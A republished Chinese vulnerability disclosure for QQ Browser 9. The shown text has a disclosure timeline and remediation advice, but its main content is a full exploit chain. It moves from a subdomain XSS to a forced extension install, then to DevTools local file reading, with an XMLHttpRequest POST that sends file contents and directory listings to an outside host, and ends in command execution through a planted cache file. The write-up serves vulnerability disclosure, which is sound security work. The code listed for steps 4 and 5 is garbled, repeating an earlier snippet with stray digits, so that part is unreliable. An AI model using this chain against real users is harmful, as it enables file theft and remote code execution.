神刀安全网

漏洞标题: QQ浏览器9本地文件读取&远程命令执行

漏洞详情

披露状态:

2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-17: 厂商已经确认,细节仅向厂商公开
2016-02-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

新年快乐

详细说明:

QQ浏览器最新版本,版本:9.3.6581.400

1. 老外在一个avast的漏洞(https://**.**.**.**/p/chromium/codesearch#chromium/src/chrome/browser/devtools/devtools_ui_**.**.**.**&sq=package:chromium&type=cs&l=638)里提到了chrome-devtools的一个本地文件读取的漏洞([email protected](长短短))

拿老外的PoC来试试?QQ浏览器打开下面的URL:

chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true

这个会加载一个外部的js

https://**.**.**.**/screencast_module.js

screencast_module.js 代码如下:

code 区域
var data = "";

DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}

DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/111.txt", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
}
);

可以看到利用 DevToolsAPI,可以向外出容器发送消息,消息类型为 loadNetworkResource,通过这个,可以读取本地文件内容。如下图所示:

漏洞标题:  QQ浏览器9本地文件读取&amp;远程命令执行

不仅仅是读文件内容,利用这个,还可以读取目录下的文件列表,像这样

code 区域
var data = "";

DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
}
);

如下图所示:

漏洞标题:  QQ浏览器9本地文件读取&amp;远程命令执行

因此,只要让QQ浏览器打开这个页面,我们就可以遍历本地文件内容,并读取发送至远程服务器上。

2. 如何让QQ浏览器打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true 这个地址呢?

常规的location.href,window.open应该是都不行的,会被安全限制。比如:提示Not allowed to load local resource,或打开页面是空白等措施。

怎么破?这里直接先列出思路。

code 区域
a. 子域.**.**.**.** XSS -> iframe -> 子域.browser.**.**.**.** (该页面的domain要求为**.**.**.**)

b. 调用子域.browser.**.**.**.**里的chrome.management.install API 安装插件“手机助手”

c. 插件安装成功后,利用子域.**.**.**.** XSS -> chrome.runtime.sendMessage 向“手机助手”发送消息, --> 手机助手接受消息 打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true

3. 我们来一步一步实现上面的步骤,首先是一个子域的XSS

http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-alert.php

漏洞标题:  QQ浏览器9本地文件读取&amp;远程命令执行

4. 找到一个子域.browser.**.**.**.**,因为browser.**.**.**.**及其子域有使用chrome.management.install的权限。

http://event.browser.**.**.**.**/stdl/miyue/index.html

如下图所示:

漏洞标题:  QQ浏览器9本地文件读取&amp;远程命令执行

5. 用子域.**.**.**.**的XSS调用子域.browser.**.**.**.**的chrome.management.install实现插件安装,利用代码如下:

qq-xss-install.php

code 区域
<?php
header("Access-Control-Allow-Headers: x-requested-with");
header("Access-Control-Allow-Origin: *");
?>
<script>
document.domain='**.**.**.**';
var f=document.createElement("iframe");
f.src='http://event.browser.**.**.**.**/stdl/miyue/index.html';
f.onload=function(){
f.contentWindow.chrome.management.install({id:"llilejmacjghpgeenjonaggofdjobdhb",crx_url:"https://pcbrowser.dd.**.**.**.**/pcbrowserbig/qbextension/qb_crx/85a4b89505532a5ec92faf546bbcda81.crx"},function(){console.log(arguments)})
}
document.body.appendChild(f);
</script>

访问下面的地址:

http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-install.php

如下图所示,手机助手将会被安装。

漏洞标题:  QQ浏览器9本地文件读取&amp;远程命令执行

6. 在手机助手安装完成后,我们就可以使用chrome.runtime.sendMessage来发送消息,

code 区域
chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});

修改步骤5里的代码,在安装完成的回调里添加以上代码。

qq-xss-install-2.php

code 区域
<?php
header("Access-Control-Allow-Headers: x-requested-with");
header("Access-Control-Allow-Origin: *");
?>
<script>
document.domain='**.**.**.**';
var f=document.createElement("iframe");
f.src='http://event.browser.**.**.**.**/stdl/miyue/index.html';
f.onload=function(){
f.contentWindow.chrome.management.install({id:"llilejmacjghpgeenjonaggofdjobdhb",crx_url:"https://pcbrowser.dd.**.**.**.**/pcbrowserbig/qbextension/qb_crx/85a4b89505532a5ec92faf546bbcda81.crx"},function(){
console.log(arguments);
setTimeout(function(){
chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});
},2000);
})
}
document.body.appendChild(f);
</script>

访问:http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-install-2.php

等待插件被安装完成后,就会打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true

如下图所示:

漏洞标题:  QQ浏览器9本地文件读取&amp;远程命令执行

7. 为啥向“手机助手”发送消息可以打开指定的页面?

查看手机助手扩展里的message.js,里面存在如下代码:

code 区域
chrome.runtime.onMessageExternal.addListener(function(e,t,o){var a=t.tab.id;"jump"===e.cmd&&(e.isNewOpen?chrome.tabs.create({url:e.target}):chrome.tabs.update(a,{url:e.target}),o({error:0}))})

在扩展里定义了onMessageExternal的listner,这使得插件可以接受外部扩展的消息。所以我们可以构造恶意的消息,发送给该扩展,从而打开我们指定的页面。

—————————————-

*** 分割线,从文件读取到命令执行 ***

—————————————-

1. 首先还是列一下思路

code 区域
a. 访问http://**.**.**.**/test/all/cache.php,让浏览器生成一个恶意的缓存文件
b. 通过上面的文件读取,读取c:/users/下的用户名列表,找到当前用户的用户名
c. 得到浏览器的缓存目录C:/Users/用户名/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache
d. 通过上面的文件读取,得到缓存目录下的文件列表,得到浏览器刚生成的缓存文件名称
e. 通过 location.href='vbefile:/../../../../../../../../../../Users/用户名/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/缓存文件名" //E:jscript //B "' 来执行恶意缓存文件

2. 首先是获得c:/users/下的用户列表

code 区域
function getUsers(){
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/Users", "", 0 ],
function (result) {
var users=data.match(/<script>addRow/("([^"]+)"/g)||[];
var currentUser=[];
for(var i=0;i<users.length;i++){
var user=(users[i].match(/<script>addRow/("([^"]+)"/)||["",""])[1]
if(["..","All Users","Default","Default User","Public","UpdatusUser","desktop.ini"].indexOf(user)==-1){
currentUser.push(user);
}
}
console.log(currentUser);
}
);
}

3. 然后是读取缓存文件列表

code 区域
function getCaches(User){
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/Users/"+User+"/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/", "", 0 ],
function (result) {
//console.log(data);
var cachesData=data.match(/<script>addRow/("([^"]+)"/g)||[];
console.log(cachesData.length);
var caches=[];
for(var i=0;i<cachesData.length;i++){
var cache=(cachesData[i].match(/<script>addRow/("([^"]+)"/)||["",""])[1]
if(cache!=".."){
caches.push(cache);
}
}
console.log(caches);
}
);
}

4. 创建恶意缓存

code 区域
var data = "";

DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
}
);

0

5. 然后是所有代码串起来。

首先是得到用户名,这里假定只有一个用户,如果有多个用户,可以循环尝试每个用户。

然后是得到缓存文件列表,

然后创建恶意缓存,

然后再得到一次缓存文件列表,

对比2个列表,就可以得到缓存文件名。

然后执行缓存文件名。

code 区域
var data = "";

DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data);
}
);

1

效果如下,可以看到得到的缓存文件名,然后缓存被执行。

漏洞标题:  QQ浏览器9本地文件读取&amp;远程命令执行

漏洞证明:

win7

访问 漏洞测试页(见测试代码里的地址)

会跳转至 **.**.**.**

加载 http://**.**.**.**/stdl/miyue/index.html

安装“手机助手”扩展, 这个可能需要下载一小会并自动安装,

安装成功后,就会打开

chrome-devtools://devtools/ 下的页面

进而执行“详细说明”里的流程

漏洞标题:  QQ浏览器9本地文件读取&amp;远程命令执行

修复方案:

1. 浏览器调用外部协议时,增加用户交互提示,见 http://**.**.**.**/test/all/readme.htm

2. 手机助手扩展里的,接受消息后,对需要打开的url进行判断。

3. 修复 **.**.**.** XSS

4. 降低chrome.management.install的作用范围。

5. 更新chrome-devtools(我也不知道有没有更新补丁,或者自行更改devtools里的相关JS代码)

版权声明:转载请注明来源 gainover@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: QQ浏览器9本地文件读取&远程命令执行

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址